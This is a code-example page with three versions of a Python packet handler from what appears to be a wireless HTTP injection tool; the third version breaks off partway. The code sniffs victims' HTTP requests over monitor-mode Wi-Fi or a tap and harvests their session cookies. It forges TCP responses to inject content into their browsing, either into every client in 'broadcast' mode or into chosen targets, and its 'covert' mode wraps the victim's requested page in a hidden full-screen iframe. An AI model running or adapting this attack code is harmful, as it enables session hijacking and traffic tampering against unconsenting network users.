Esempio n. 1
0
class PacketHandler(object):
    """This class does all the heavy-lifting.

    It has an optional Victims parameter that is a
    List of instances of Victims for targeted mode.

    It can also be fed an instance of VictimParameters
    directly if working in broadcast mode and attacking all clients.
    """
    def __init__(self, *positional_parameters, **keyword_parameters):
        if 'victims' in keyword_parameters:
            self.victims = keyword_parameters['victims']
        else:
            self.victims = []

        if 'excluded' in keyword_parameters:
            self.excluded = self.proc_excluded(keyword_parameters['excluded'])
        else:
            self.excluded = None

        if 'handler' in keyword_parameters:
            self.handler = keyword_parameters['handler']
        else:
            self.handler = None

        if 'i' in keyword_parameters:
            self.i = keyword_parameters['i']
        else:
            self.i = None

        if 'victim_parameters' in keyword_parameters:
            self.victim_parameters = keyword_parameters['victim_parameters']
        else:
            self.victim_parameters = None

        if self.i is None:
            print('[ERROR] No injection interface selected')
            exit(1)

        if len(self.victims) == 0 and self.victim_parameters is None:
            print('[ERROR] Please specify victim parameters or Victim List')
            exit(1)

        ## Argument handling
        args = keyword_parameters['Args']
        self.nic = args.mon
        self.single = args.single
        self.verbose = args.v
        if args.trigger is None:
            self.trigger = 'GET /'
        else:
            self.trigger = args.trigger

        self.newvictims = []
        self.injector = Injector(self.i, args)
        #print 'packet_handler has instantiated Injector()'

    ### Trace out args for victim.add_cookie
    def cookieManager(self, vicmac, vicip, cookie, args):
        """This function does cookie management for broadcast mode and targeted mode.

        A new mode is also added that can work in both broadcast
        added that if VictimParameters is set, it also performs a broadcast attack.
        """

        ### Need to comment this up...
        if len(self.victims) == 0:
            try:
                k = cookie[1]
            except:
                cookie = ["NONE", "NONE"]

            if cookie[1] is not None:
                exists = 0
                for victim in self.newvictims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            victim.add_cookie(cookie, args)
                            exists = 1

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                victim.add_cookie(cookie, args)
                                exists = 1

                if exists == 0:
                    v1 = Victim(ip=vicip,
                                mac=vicmac,
                                victim_parameters=self.victim_parameters)
                    v1.add_cookie(cookie, args)
                    self.newvictims.append(v1)

            else:
                if cookie[0] is not None and cookie[1] is None:
                    newcookie = [cookie[0], "NONE"]
                    cookie = newcookie
                    for victim in self.newvictims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                victim.add_cookie(cookie, args)

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    victim.add_cookie(cookie, args)

                exists = 0
                for victim in self.newvictims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            exists = 1

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                exists = 1

                if exists == 0:
                    v1 = Victim(ip=vicip,
                                mac=vicmac,
                                victim_parameters=self.victim_parameters)
                    self.newvictims.append(v1)

        else:
            vic_in_targets = 0
            try:
                k = cookie[1]
            except:
                try:
                    k = cookie[0]
                    cookie[1] = 'NONE'
                except:
                    cookie = ['NONE', 'NONE']

            if cookie[1] is not None:
                for victim in self.victims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            vic_in_targets = 1
                            victim.add_cookie(cookie, args)

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                vic_in_targets = 1
                                victim.add_cookie(cookie, args)

            else:
                if cookie[0] is not None and cookie[1] is None:
                    newcookie = [cookie[0], 'NONE']
                    cookie = newcookie
                    for victim in self.victims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                vic_in_targets = 1
                                victim.add_cookie(cookie, args)

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    victim.add_cookie(cookie, args)
                                    vic_in_targets = 1

            ## IF VIC IS IN TARGETS, RETURN
            if vic_in_targets == 1:
                return

            if self.victim_parameters is not None:
                try:
                    k = cookie[1]
                except:
                    #print cookie
                    cookie = ['NONE', 'NONE']
                if cookie[1] is not None:
                    exists = 0
                    for victim in self.newvictims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                victim.add_cookie(cookie, args)
                                exists = 1

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    victim.add_cookie(cookie, args)
                                    exists = 1

                    if exists == 0:
                        v1 = Victim(ip=vicip,
                                    mac=vicmac,
                                    victim_parameters=self.victim_parameters)
                        v1.add_cookie(cookie, args)
                        self.newvictims.append(v1)

                else:
                    if cookie[0] is not None and cookie[1] is None:
                        newcookie = [cookie[0], 'NONE']
                        cookie = newcookie
                        for victim in self.newvictims:
                            if victim.ip is not None:
                                if victim.ip == vicip:
                                    victim.add_cookie(cookie, args)

                            else:
                                if victim.mac is not None:
                                    if victim.mac.lower() == vicmac.lower():
                                        victim.add_cookie(cookie, args)

                    exists = 0
                    for victim in self.newvictims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                exists = 1

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    exists = 1

                    if exists == 0:
                        v1 = Victim(ip=vicip,
                                    mac=vicmac,
                                    victim_parameters=self.victim_parameters)
                        self.newvictims.append(v1)

    def cookieSearch(self, ret2):
        """Looks for cookie in string returned by PacketHandler.requestExtractor().

        Returns a List object [host, cookie] if there is one, otherwise returns None.
        """
        if len(ret2.strip()) > 0:
            arr = ret2.split('\n')
            #print ret2
            host = ""
            cookie = ""
            for line in arr:
                if 'Cookie' in line:
                    cookie = line.strip()

                if 'Host' in line:
                    host = line.split()[1].strip()

            if len(host) != 0 and len(cookie) != 0:
                return [host, cookie]
            else:
                if len(host) > 0:
                    return (host, None)
                else:
                    return None

        else:
            return None

    ### Need docstring
    def covert_injection(self, svrip, seqnum, request, injection):
        global BLOCK_HOSTS
        #print svrip,BLOCK_HOSTS
        for obj in BLOCK_HOSTS:
            ip, seq = obj
            if svrip == ip:
                return 0

        BLOCK_HOSTS.add((svrip, seqnum))
        #print BLOCK_HOSTS
        req = request.split('\n')
        filename = ''
        host = ''
        for line in req:
            if 'GET' in line:
                filename = line.split()[1].strip()

            if 'Host' in line:
                host = line.split()[1].strip()

        if len(host) > 0 and len(filename) > 0:
            injection += """ <body style="margin:0px;padding:0px;overflow:hidden">"""
            injection += """ <iframe src=" """
            if host in filename:
                injection += 'http://' + filename[1:]

            else:
                injection += 'http://' + host + filename
                injection += """ " frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px" height="100%" width="100%"></iframe> """
                injection += '</body>'
        #print injection
        return injection

    def condensor(self, vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport,
                  acknum, seqnum, request, cookie, TSVal, TSecr, args,
                  injection, victim):
        """Condense some of the logic into a single function"""
        if victim.victim_parameters.covert:
            cov_injection = self.covert_injection(svrip, seqnum, request,
                                                  injection)
            if cov_injection != 0:
                injection = cov_injection
            else:
                return 0

        print('DEBUG injection print')
        print(injection)
        self.injector.inject(vicmac, rtrmac, dstmac, vicip, svrip, vicport,
                             svrport, acknum, seqnum, injection, TSVal, TSecr)
        #print 'sent'

    def proc_excluded(self, excluded):
        """Check if argument provided in excluded is an ip.

        If it's not, dns resolve it and add those IPs to the exclude list.
        """
        processed = set()
        for item in excluded:
            try:
                test = item.split('.')
                if len(test) != 4:
                    try:
                        processed.add(socket.gethostbyname(item))
                    except:
                        pass

                ### This logic can be cleaner/faster
                ### regex -or- (mac check, then assume if try fails, it must be ip)
                else:
                    #print test
                    try:
                        if int(test[0]) > 0 and int(test[0]) < 256:
                            if int(test[1]) > 0 and int(test[1]) < 256:
                                if int(test[2]) > 0 and int(test[2]) < 256:
                                    if int(test[3]) > 0 and int(test[3]) < 256:
                                        processed.add(item)

                    except:
                        processed.add(socket.gethostbyname(item))

            except:
                try:
                    processed.add(socket.gethostbyname(item))
                except:
                    pass

        return processed

    def proc_handler(self, packet, args):
        """Process handler responsible for the last mile of packet filtering
        Obtains packet specific information and stores it to memory
        """
        if packet.haslayer(IP) and packet.haslayer(TCP):

            ## Trigger check
            request = self.requestExtractor(packet)
            if self.trigger in request:

                ## MONITOR MODE
                if self.nic == 'mon':
                    rtrmac = packet.getlayer(Dot11).addr1
                    vicmac = packet.getlayer(Dot11).addr2
                    dstmac = packet.getlayer(Dot11).addr3

                ## TAP MODE
                else:
                    rtrmac = packet.getlayer(Ether).dst
                    vicmac = packet.getlayer(Ether).src
                    dstmac = 'TAP'

                vicip = packet.getlayer(IP).src
                svrip = packet.getlayer(IP).dst
                vicport = packet.getlayer(TCP).sport
                svrport = packet.getlayer(TCP).dport
                size = len(packet.getlayer(TCP).load)
                acknum = str(int(packet.getlayer(TCP).seq) + size)
                seqnum = packet.getlayer(TCP).ack
                global BLOCK_HOSTS
                for obj in BLOCK_HOSTS:
                    ip, seq = obj
                    if svrip == ip and seqnum != seq:
                        print("REMOVING {0}".format(svrip))
                        for obj2 in BLOCK_HOSTS:
                            ip2, seq2 = obj2
                            if ip2 == svrip:
                                BLOCK_HOSTS.remove((ip2, seq2))
                if args.pcap:
                    wrpcap('inbound.pcap', packet)
            else:
                return 0

            #print BLOCK_HOSTS

            try:
                TSVal, TSecr = packet.getlayer(TCP).options[2][1]
            except:
                TSVal = None
                TSecr = None

            cookie = self.cookieSearch(request)
            #print (vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr)
            return (vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport,
                    acknum, seqnum, request, cookie, TSVal, TSecr)
        return None

    def proc_injection(self, vicmac, rtrmac, dstmac, vicip, svrip, vicport,
                       svrport, acknum, seqnum, request, cookie, TSVal, TSecr,
                       args):
        """Process injection function using the PacketHandler.victims List.

        If it was set, to check if the packet belongs to any of the targets.
        If no victims List is set, meaning it's in broadcast mode, it checks
        for the victim in PacketHandler.newvictims and gets the injection for it,
        if there is one, and injects it via Injector.inject().
        """
        if len(self.victims) == 0:
            if self.victim_parameters.in_request is not None:
                result = self.victim_parameters.proc_in_request(request)
                #print result
                if (not result):
                    return 0

            if self.excluded is not None:
                if svrip in self.excluded:
                    return 0

            for victim in self.newvictims:
                if victim.ip is not None:
                    if victim.ip == vicip:
                        injection = victim.get_injection()
                        if injection is not None:
                            self.condensor(vicmac, rtrmac, dstmac, vicip,
                                           svrip, vicport, svrport, acknum,
                                           seqnum, request, cookie, TSVal,
                                           TSecr, args, injection, victim)

                else:
                    if victim.mac is not None:
                        if victim.mac.lower() == vicmac.lower():
                            injection = victim.get_injection()
                            if injection is not None:
                                self.condensor(vicmac, rtrmac, dstmac, vicip,
                                               svrip, vicport, svrport, acknum,
                                               seqnum, request, cookie, TSVal,
                                               TSecr, args, injection, victim)

        else:
            if self.victim_parameters is not None:
                if self.victim_parameters.in_request is not None:
                    result = self.victim_parameters.proc_in_request(request)
                    #print result
                    if not result:
                        return 0

                if self.excluded is not None:
                    if svrip in self.excluded:
                        return 0

                for victim in self.newvictims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            injection = victim.get_injection()
                            if injection is not None:
                                self.condensor(vicmac, rtrmac, dstmac, vicip,
                                               svrip, vicport, svrport, acknum,
                                               seqnum, request, cookie, TSVal,
                                               TSecr, args, injection, victim)

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                injection = victim.get_injection()
                                if injection is not None:
                                    self.condensor(vicmac, rtrmac, dstmac,
                                                   vicip, svrip, vicport,
                                                   svrport, acknum, seqnum,
                                                   request, cookie, TSVal,
                                                   TSecr, args, injection,
                                                   victim)

            if self.excluded is not None:
                if svrip in self.excluded:
                    return 0

            for victim in self.victims:
                if victim.ip is not None:
                    if victim.ip == vicip:
                        if victim.victim_parameters.in_request is not None:
                            result = victim.victim_parameters.proc_in_request(
                                request)
                            if not result:
                                return 0

                        injection = victim.get_injection()
                        if injection is not None:
                            self.condensor(vicmac, rtrmac, dstmac, vicip,
                                           svrip, vicport, svrport, acknum,
                                           seqnum, request, cookie, TSVal,
                                           TSecr, args, injection, victim)
                else:
                    if victim.mac is not None:
                        if victim.mac.lower() == vicmac.lower():
                            if victim.victim_parameters.in_request is not None:
                                result = victim.victim_parameters.proc_in_request(
                                    request)
                                if not result:
                                    return 0

                            injection = victim.get_injection()
                            if injection is not None:
                                self.condensor(vicmac, rtrmac, dstmac, vicip,
                                               svrip, vicport, svrport, acknum,
                                               seqnum, request, cookie, TSVal,
                                               TSecr, args, injection, victim)

    def process(self, interface, pkt, args):
        """Process packets coming from the sniffer.

        You can override the handler with one of your own,
        that you can use for any other packet type (e.g DNS),
        otherwise it uses the default packet handler looking
        for GET requests for injection and cookies.
        """
        ## You can write your own handler for packets
        ## If wanted, do something like:
        #if self.handler is not None:
        #self.handler(interface, pkt, args)
        #else:
        try:
            vicmac,\
            rtrmac,\
            dstmac,\
            vicip,\
            svrip,\
            vicport,\
            svrport,\
            acknum,\
            seqnum,\
            request,\
            cookie,\
            TSVal,\
            TSecr = self.proc_handler(pkt, args)
            self.cookieManager(vicmac, vicip, cookie, args)

            print('BREAK IS HERE')
            self.proc_injection(vicmac, rtrmac, dstmac, vicip, svrip, vicport,
                                svrport, acknum, seqnum, request, cookie,
                                TSVal, TSecr, args)
        except:
            return

    def requestExtractor(self, pkt):
        """Extracts the payload for trigger processing"""
        ret2 = "\n".join(pkt.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
        if len(ret2.strip()) > 0:
            return ret2.translate(None, "'").strip()
        else:
            return None
Esempio n. 2
0
class PacketHandler(object):
    """This class does all the heavy-lifting.

    It has an optional Victims parameter that is a 
    List of instances of Victims for targeted mode.
    
    It can also be fed an instance of VictimParameters
    directly if working in broadcast mode and attacking all clients.
    """

    def __init__(self, *positional_parameters, **keyword_parameters):
        if 'victims' in keyword_parameters:
            self.victims = keyword_parameters['victims']
        else:
            self.victims = []

        if 'excluded' in keyword_parameters:
            self.excluded = self.proc_excluded(keyword_parameters['excluded'])
        else:
            self.excluded = None

        if 'handler' in keyword_parameters:
            self.handler = keyword_parameters['handler']
        else:
            self.handler = None

        if 'i' in keyword_parameters:
            self.i = keyword_parameters['i']
        else:
            self.i = None

        if 'victim_parameters' in keyword_parameters:
            self.victim_parameters = keyword_parameters['victim_parameters']
        else:
            self.victim_parameters = None

        if self.i is None:
            print "[ERROR] No injection interface selected"
            exit(1)

        if len(self.victims) == 0 and self.victim_parameters is None:
            print "[ERROR] Please specify victim parameters or Victim List"
            exit(1)

        ## Argument handling
        args = keyword_parameters['Args']
        self.nic = args.mon
        self.single = args.single
        self.verbose = args.v
        if args.trigger is None:
            self.trigger = 'GET /'
        else:
            self.trigger = args.trigger

        self.newvictims = []
        self.injector = Injector(self.i, args)
        #print 'packet_handler has instantiated Injector()'


    ### Trace out args for victim.add_cookie
    def cookieManager(self,
                      vicmac,
                      vicip,
                      cookie,
                      args):
        """This function does cookie management for broadcast mode and targeted mode.

        A new mode is also added that can work in both broadcast
        added that if VictimParameters is set, it also performs a broadcast attack.
        """
        
        ### Need to comment this up...
        if len(self.victims) == 0:
            try:
                k = cookie[1]
            except:
                cookie = ["NONE", "NONE"]

            if cookie[1] is not None:
                exists = 0
                for victim in self.newvictims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            victim.add_cookie(cookie, args)
                            exists = 1

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                victim.add_cookie(cookie, args)
                                exists = 1

                if exists == 0:
                    v1 = Victim(ip = vicip,
                                mac = vicmac,
                                victim_parameters = self.victim_parameters)
                    v1.add_cookie(cookie, args)
                    self.newvictims.append(v1)

            else:
                if cookie[0] is not None and cookie[1] is None:
                    newcookie = [cookie[0], "NONE"]
                    cookie = newcookie
                    for victim in self.newvictims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                victim.add_cookie(cookie, args)

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    victim.add_cookie(cookie, args)

                exists = 0
                for victim in self.newvictims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            exists = 1

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                exists = 1

                if exists == 0:
                    v1 = Victim(ip = vicip,
                                mac = vicmac,
                                victim_parameters = self.victim_parameters)
                    self.newvictims.append(v1)

        else:
            vic_in_targets = 0
            try:
                k = cookie[1]
            except:
                try:
                    k = cookie[0]
                    cookie[1] = 'NONE'
                except:
                    cookie = ['NONE', 'NONE']

            if cookie[1] is not None:
                for victim in self.victims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            vic_in_targets = 1
                            victim.add_cookie(cookie, args)

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                vic_in_targets = 1
                                victim.add_cookie(cookie, args)

            else:
                if cookie[0] is not None and cookie[1] is None:
                    newcookie = [cookie[0], 'NONE']
                    cookie = newcookie
                    for victim in self.victims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                vic_in_targets = 1
                                victim.add_cookie(cookie, args)

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    victim.add_cookie(cookie, args)
                                    vic_in_targets = 1

            ## IF VIC IS IN TARGETS, RETURN
            if vic_in_targets == 1:
                return

            if self.victim_parameters is not None:
                try:
                    k = cookie[1]
                except:
                    #print cookie
                    cookie = ['NONE', 'NONE']
                if cookie[1] is not None:
                    exists = 0
                    for victim in self.newvictims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                victim.add_cookie(cookie, args)
                                exists = 1

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    victim.add_cookie(cookie, args)
                                    exists = 1

                    if exists == 0:
                        v1 = Victim(ip = vicip,
                                    mac = vicmac,
                                    victim_parameters = self.victim_parameters)
                        v1.add_cookie(cookie, args)
                        self.newvictims.append(v1)

                else:
                    if cookie[0] is not None and cookie[1] is None:
                        newcookie = [cookie[0], 'NONE']
                        cookie = newcookie
                        for victim in self.newvictims:
                            if victim.ip is not None:
                                if victim.ip == vicip:
                                    victim.add_cookie(cookie, args)

                            else:
                                if victim.mac is not None:
                                    if victim.mac.lower() == vicmac.lower():
                                        victim.add_cookie(cookie, args)

                    exists = 0
                    for victim in self.newvictims:
                        if victim.ip is not None:
                            if victim.ip == vicip:
                                exists = 1

                        else:
                            if victim.mac is not None:
                                if victim.mac.lower() == vicmac.lower():
                                    exists = 1

                    if exists == 0:
                        v1 = Victim(ip = vicip,
                                    mac = vicmac,
                                    victim_parameters = self.victim_parameters)
                        self.newvictims.append(v1)


    def cookieSearch(self, ret2):
        """Looks for cookie in string returned by PacketHandler.requestExtractor().
        
        Returns a List object [host, cookie] if there is one, otherwise returns None.
        """
        if len(ret2.strip()) > 0:
            arr = ret2.split('\n')
            #print ret2
            host = ""
            cookie = ""
            for line in arr:
                if 'Cookie' in line:
                    cookie = line.strip()

                if 'Host' in line:
                    host = line.split()[1].strip()

            if len(host) != 0 and len(cookie) != 0:
                return [host, cookie]
            else:
                if len(host) > 0:
                    return (host, None)
                else:
                    return None

        else:
            return None

    ### Need docstring
    def covert_injection(self,
                         svrip,
                         seqnum,
                         request,
                         injection):
        global BLOCK_HOSTS
        #print svrip,BLOCK_HOSTS
        for obj in BLOCK_HOSTS:
            ip, seq = obj
            if svrip == ip:
                return 0

        BLOCK_HOSTS.add((svrip, seqnum))
        #print BLOCK_HOSTS
        req = request.split('\n')
        filename = ''
        host = ''
        for line in req:
            if 'GET' in line:
                filename = line.split()[1].strip()

            if 'Host' in line:
                host = line.split()[1].strip()

        if len(host) > 0 and len(filename) > 0:
            injection += """ <body style="margin:0px;padding:0px;overflow:hidden">"""
            injection += """ <iframe src=" """
            if host in filename:
                injection += 'http://' + filename[1:]

            else:
                injection += 'http://' + host + filename
                injection += """ " frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px" height="100%" width="100%"></iframe> """
                injection += '</body>'
        #print injection
        return injection


    def condensor(self,
                  vicmac,
                  rtrmac,
                  dstmac,
                  vicip,
                  svrip,
                  vicport,
                  svrport,
                  acknum,
                  seqnum,
                  request,
                  cookie,
                  TSVal,
                  TSecr,
                  args,
                  injection,
                  victim):
        """Condense some of the logic into a single function"""
        if victim.victim_parameters.covert:
            cov_injection = self.covert_injection(svrip,
                                                  seqnum,
                                                  request,
                                                  injection)
            if cov_injection != 0:
                injection = cov_injection
            else:
                return 0

        #print injection
        self.injector.inject(vicmac,
                             rtrmac,
                             dstmac,
                             vicip,
                             svrip,
                             vicport,
                             svrport,
                             acknum,
                             seqnum,
                             injection,
                             TSVal,
                             TSecr)
        #print 'sent'


    def proc_excluded(self, excluded):
        """Check if argument provided in excluded is an ip.
        
        If it's not, dns resolve it and add those IPs to the exclude list.
        """
        processed = set()
        for item in excluded:
            try:
                test = item.split('.')
                if len(test) != 4:
                    try:
                        processed.add(socket.gethostbyname(item))
                    except:
                        pass

                ### This logic can be cleaner/faster
                ### regex -or- (mac check, then assume if try fails, it must be ip)
                else:
                    #print test
                    try:
                        if int(test[0])>0 and int(test[0]) < 256:
                            if int(test[1])>0 and int(test[1]) < 256:
                                if int(test[2])>0 and int(test[2]) < 256:
                                    if int(test[3])>0 and int(test[3]) < 256:
                                        processed.add(item)

                    except:
                        processed.add(socket.gethostbyname(item))

            except:
                try:
                    processed.add(socket.gethostbyname(item))
                except:
                    pass

        return processed


    def proc_handler(self, packet, args):
        """Process handler responsible for the last mile of packet filtering
        Obtains packet specific information and stores it to memory
        """
        if packet.haslayer(IP) and packet.haslayer(TCP):

            ## Trigger check
            request = self.requestExtractor(packet)
            if self.trigger in request:

                ## MONITOR MODE
                if self.nic == 'mon':
                    rtrmac = packet.getlayer(Dot11).addr1
                    vicmac = packet.getlayer(Dot11).addr2
                    dstmac = packet.getlayer(Dot11).addr3

                ## TAP MODE
                else:
                    rtrmac = packet.getlayer(Ether).dst
                    vicmac = packet.getlayer(Ether).src
                    dstmac = 'TAP'
                    

                vicip = packet.getlayer(IP).src
                svrip = packet.getlayer(IP).dst
                vicport = packet.getlayer(TCP).sport
                svrport = packet.getlayer(TCP).dport
                size = len(packet.getlayer(TCP).load)
                acknum = str(int(packet.getlayer(TCP).seq) + size)
                seqnum = packet.getlayer(TCP).ack
                global BLOCK_HOSTS
                for obj in BLOCK_HOSTS:
                    ip, seq = obj
                    if svrip == ip and seqnum != seq:
                        #print "REMOVING ", svrip
                        for obj2 in BLOCK_HOSTS:
                            ip2, seq2 = obj2
                            if ip2 == svrip:
                                BLOCK_HOSTS.remove((ip2, seq2))
                if args.pcap:
                    wrpcap('inbound.pcap', packet)
            else:
                return 0

            #print BLOCK_HOSTS

            try:
                TSVal, TSecr = packet.getlayer(TCP).options[2][1]
            except:
                TSVal = None
                TSecr = None

            cookie = self.cookieSearch(request)
            #print (vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr)
            return (vicmac,
                    rtrmac,
                    dstmac,
                    vicip,
                    svrip,
                    vicport,
                    svrport,
                    acknum,
                    seqnum,
                    request,
                    cookie,
                    TSVal,
                    TSecr)
        return None


    def proc_injection(self,
                       vicmac,
                       rtrmac,
                       dstmac,
                       vicip,
                       svrip,
                       vicport,
                       svrport,
                       acknum,
                       seqnum,
                       request,
                       cookie,
                       TSVal,
                       TSecr,
                       args):
        """Process injection function using the PacketHandler.victims List.
        
        If it was set, to check if the packet belongs to any of the targets.
        If no victims List is set, meaning it's in broadcast mode, it checks
        for the victim in PacketHandler.newvictims and gets the injection for it,
        if there is one, and injects it via Injector.inject().
        """
        if len(self.victims) == 0:
            if self.victim_parameters.in_request is not None:
                result = self.victim_parameters.proc_in_request(request)
                #print result
                if (not result):
                    return 0

            if self.excluded is not None:
                if svrip in self.excluded:
                    return 0

            for victim in self.newvictims:
                if victim.ip is not None:
                    if victim.ip == vicip:
                        injection = victim.get_injection()
                        if injection is not None:
                            self.condensor(vicmac,
                                           rtrmac,
                                           dstmac,
                                           vicip,
                                           svrip,
                                           vicport,
                                           svrport,
                                           acknum,
                                           seqnum,
                                           request,
                                           cookie,
                                           TSVal,
                                           TSecr,
                                           args,
                                           injection,
                                           victim)

                else:
                    if victim.mac is not None:
                        if victim.mac.lower() == vicmac.lower():
                            injection = victim.get_injection()
                            if injection is not None:
                                self.condensor(vicmac,
                                               rtrmac,
                                               dstmac,
                                               vicip,
                                               svrip,
                                               vicport,
                                               svrport,
                                               acknum,
                                               seqnum,
                                               request,
                                               cookie,
                                               TSVal,
                                               TSecr,
                                               args,
                                               injection,
                                               victim)

        else:
            if self.victim_parameters is not None:
                if self.victim_parameters.in_request is not None:
                    result = self.victim_parameters.proc_in_request(request)
                    #print result
                    if not result:
                        return 0

                if self.excluded is not None:
                    if svrip in self.excluded:
                        return 0

                for victim in self.newvictims:
                    if victim.ip is not None:
                        if victim.ip == vicip:
                            injection = victim.get_injection()
                            if injection is not None:
                                self.condensor(vicmac,
                                               rtrmac,
                                               dstmac,
                                               vicip,
                                               svrip,
                                               vicport,
                                               svrport,
                                               acknum,
                                               seqnum,
                                               request,
                                               cookie,
                                               TSVal,
                                               TSecr,
                                               args,
                                               injection,
                                               victim)

                    else:
                        if victim.mac is not None:
                            if victim.mac.lower() == vicmac.lower():
                                injection = victim.get_injection()
                                if injection is not None:
                                    self.condensor(vicmac,
                                                   rtrmac,
                                                   dstmac,
                                                   vicip,
                                                   svrip,
                                                   vicport,
                                                   svrport,
                                                   acknum,
                                                   seqnum,
                                                   request,
                                                   cookie,
                                                   TSVal,
                                                   TSecr,
                                                   args,
                                                   injection,
                                                   victim)

            if self.excluded is not None:
                if svrip in self.excluded:
                    return 0

            for victim in self.victims:
                if victim.ip is not None:
                    if victim.ip == vicip:
                        if victim.victim_parameters.in_request is not None:
                            result = victim.victim_parameters.proc_in_request(request)
                            if not result:
                                return 0

                        injection = victim.get_injection()
                        if injection is not None:
                            self.condensor(vicmac,
                                           rtrmac,
                                           dstmac,
                                           vicip,
                                           svrip,
                                           vicport,
                                           svrport,
                                           acknum,
                                           seqnum,
                                           request,
                                           cookie,
                                           TSVal,
                                           TSecr,
                                           args,
                                           injection,
                                           victim)
                else:
                    if victim.mac is not None:
                        if victim.mac.lower() == vicmac.lower():
                            if victim.victim_parameters.in_request is not None:
                                result = victim.victim_parameters.proc_in_request(request)
                                if not result:
                                    return 0

                            injection = victim.get_injection()
                            if injection is not None:
                                self.condensor(vicmac,
                                               rtrmac,
                                               dstmac,
                                               vicip,
                                               svrip,
                                               vicport,
                                               svrport,
                                               acknum,
                                               seqnum,
                                               request,
                                               cookie,
                                               TSVal,
                                               TSecr,
                                               args,
                                               injection,
                                               victim)

    def process(self, interface, pkt, args):
        """Process packets coming from the sniffer.
        
        You can override the handler with one of your own,
        that you can use for any other packet type (e.g DNS),
        otherwise it uses the default packet handler looking
        for GET requests for injection and cookies.
        """
        ## You can write your own handler for packets
        ## If wanted, do something like:
        #if self.handler is not None:
            #self.handler(interface, pkt, args)
        #else:
        try:
            vicmac,\
            rtrmac,\
            dstmac,\
            vicip,\
            svrip,\
            vicport,\
            svrport,\
            acknum,\
            seqnum,\
            request,\
            cookie,\
            TSVal,\
            TSecr = self.proc_handler(pkt, args)
            self.cookieManager(vicmac,
                               vicip,
                               cookie,
                               args)
            
            self.proc_injection(vicmac,
                                rtrmac,
                                dstmac,
                                vicip,
                                svrip,
                                vicport,
                                svrport,
                                acknum,
                                seqnum,
                                request,
                                cookie,
                                TSVal,
                                TSecr,
                                args)
        except:
            return
 
 
    def requestExtractor(self, pkt):
        """Extracts the payload for trigger processing"""
        ret2 = "\n".join(pkt.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
        if len(ret2.strip()) > 0:
            return ret2.translate(None, "'").strip()
        else:
            return None
Esempio n. 3
0
class Handler(object):
    """Determines if a given packet should be processed further

    Acts as an ETL layer for packet injection decisions
    """
    def __init__(self, **kwargs):
        self.i = kwargs.get('i')
        self.tParams = kwargs.get('tParams')
        args = kwargs.get('Args')
        self.nic = args.mon
        # self.single = args.single
        if args.trigger is None:
            self.trigger = 'GET /'
        else:
            self.trigger = args.trigger

        self.newTgts = []
        self.injector = Injector(self.i, args)

    def proc_handler(self, packet, args):
        """Process handler responsible for the last mile of packet filtering
        Obtains packet specific information and stores it to memory
        """
        if packet.haslayer(IP) and packet.haslayer(TCP):

            ## Trigger check
            request = self.requestExtractor(packet)
            if self.trigger in request:
                tgtMac = packet.getlayer(Dot11).addr2
                rtrmac = packet.getlayer(Dot11).addr1
                tgtIp = packet.getlayer(IP).src
                svrip = packet.getlayer(IP).dst
                tgtPort = packet.getlayer(TCP).sport
                svrport = packet.getlayer(TCP).dport
                size = len(packet.getlayer(TCP).load)
                acknum = str(int(packet.getlayer(TCP).seq) + size)
                seqnum = packet.getlayer(TCP).ack
                # wrpcap('inbound.pcap', packet)
            else:
                return 0

            try:
                TSVal, TSecr = packet.getlayer(TCP).options[2][1]
            except:
                TSVal = None
                TSecr = None

            return (tgtMac, rtrmac, tgtIp, svrip, tgtPort, svrport, acknum,
                    seqnum, request, TSVal, TSecr)
        return None

    def process(self, interface, pkt, args):
        """Process packets coming from the sniffer."""
        try:
            tgtMac, rtrmac, tgtIp, svrip, tgtPort, svrport, acknum, seqnum, request, TSVal, TSecr = self.proc_handler(
                pkt, args)
            exists = 0
            for tgt in self.newTgts:
                if tgt.ip is not None and tgt.ip == tgtIp:
                    exists = 1

                    for tgt in self.newTgts:
                        if tgt.ip is not None:
                            if tgt.ip == tgtIp:
                                self.injector.inject(tgtMac, rtrmac, tgtIp,
                                                     svrip, tgtPort, svrport,
                                                     acknum, seqnum,
